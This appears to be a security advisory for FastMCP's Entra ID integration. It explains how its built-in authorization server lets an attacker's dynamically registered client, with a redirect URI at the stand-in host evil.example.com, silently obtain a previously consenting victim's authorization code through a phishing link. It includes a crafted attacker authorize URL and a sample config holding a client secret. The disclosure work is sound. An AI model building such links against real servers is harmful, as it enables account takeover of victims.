"details": "### Summary\n\nFastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.\n\nFor example, on a local MCP server, it may be hosted here:\n\n```http\nhttp://localhost:8000/.well-known/oauth-protected-resource\n```\n\nAnd the JSON representation of the PRM document:\n\n```json\n{\n \"resource\": \"http://localhost:8000/mcp\",\n \"authorization_servers\": [\n \"http://localhost:8000/\"\n ],\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"bearer_methods_supported\": [\n \"header\"\n ]\n}\n```\n\nNotice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client.\n\nThe FastMCP server also hosts the AS metadata:\n\n```bash\nhttp://localhost:8000/.well-known/oauth-authorization-server\n```\n\nWith the following content:\n\n```json\n{\n \"issuer\": \"http://localhost:8000/\",\n \"authorization_endpoint\": \"http://localhost:8000/authorize\",\n \"token_endpoint\": \"http://localhost:8000/token\",\n \"registration_endpoint\": \"http://localhost:8000/register\",\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"response_types_supported\": [\n \"code\"\n ],\n \"grant_types_supported\": [\n \"authorization_code\",\n \"refresh_token\"\n ],\n \"token_endpoint_auth_methods_supported\": [\n \"client_secret_post\"\n ],\n \"code_challenge_methods_supported\": [\n \"S256\"\n ]\n}\n```\n\nAll of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\nWhen using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:\n\n```http\nhttps://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!NOTE]\n>In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.\n\n<img width=\"2725\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ea612bf-a49e-44da-bd79-236c26bb42f3\" />\n\nNotice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details.\n\nCompleting the authorization flow here for the first time for a user would trigger the Entra ID consent flow:\n\n<img width=\"751\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cc4b7ee-c110-4623-8f86-438821f4addf\" />\n\nThis consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked.\n\nThis is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.\n\nWith the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.\n\nNow, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID:\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!IMPORTANT]\n>Note that the redirect URI above points to the `https://evil.example.com` client.\n\nAt this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`.\n\nThe user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.\n\n### Details\n\nSee above - the outline covers the attack vector.\n\n### PoC\n\nStandard documented sample that uses Entra ID:\n\n```python\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth.providers.azure import AzureProvider\n\n# The AzureProvider handles Azure's token format and validation\nauth_provider = AzureProvider(\n client_id=\"f527ed01-9725-45bd-8173-8d3a017ba02f\", # Your Azure App Client ID\n client_secret=\"H3X8Q~coFQaI_zpYXePrzdRFZ7xmwEORJJ49tcnw\", # Your Azure App Client Secret\n tenant_id=\"412e93fe-74e5-4ee6-9b67-1eeb1c79550e\", # Your Azure Tenant ID (REQUIRED)\n base_url=\"http://localhost:8000\", # Must match your App registration\n required_scopes=[\"User.Read\", \"email\", \"openid\", \"profile\"], # Microsoft Graph permissions\n # redirect_path=\"/auth/callback\" # Default value, customize if needed\n)\n\nmcp = FastMCP(name=\"Azure Secured App\", auth=auth_provider)\n\n# Add a protected tool to test authentication\
[email protected]\nasync def get_user_info() -> dict:\n \"\"\"Returns information about the authenticated Azure user.\"\"\"\n from fastmcp.server.dependencies import get_access_token\n \n token = get_access_token()\n # The AzureProvider stores user data in token claims\n return {\n \"azure_id\": token.claims.get(\"sub\"),\n \"email\": token.claims.get(\"email\"),\n \"name\": token.claims.get(\"name\"),\n \"job_title\": token.claims.get(\"job_title\"),\n \"office_location\": token.claims.get(\"office_location\")\n }\n```\n\n### Impact\n\nPotential for server account compromise.",
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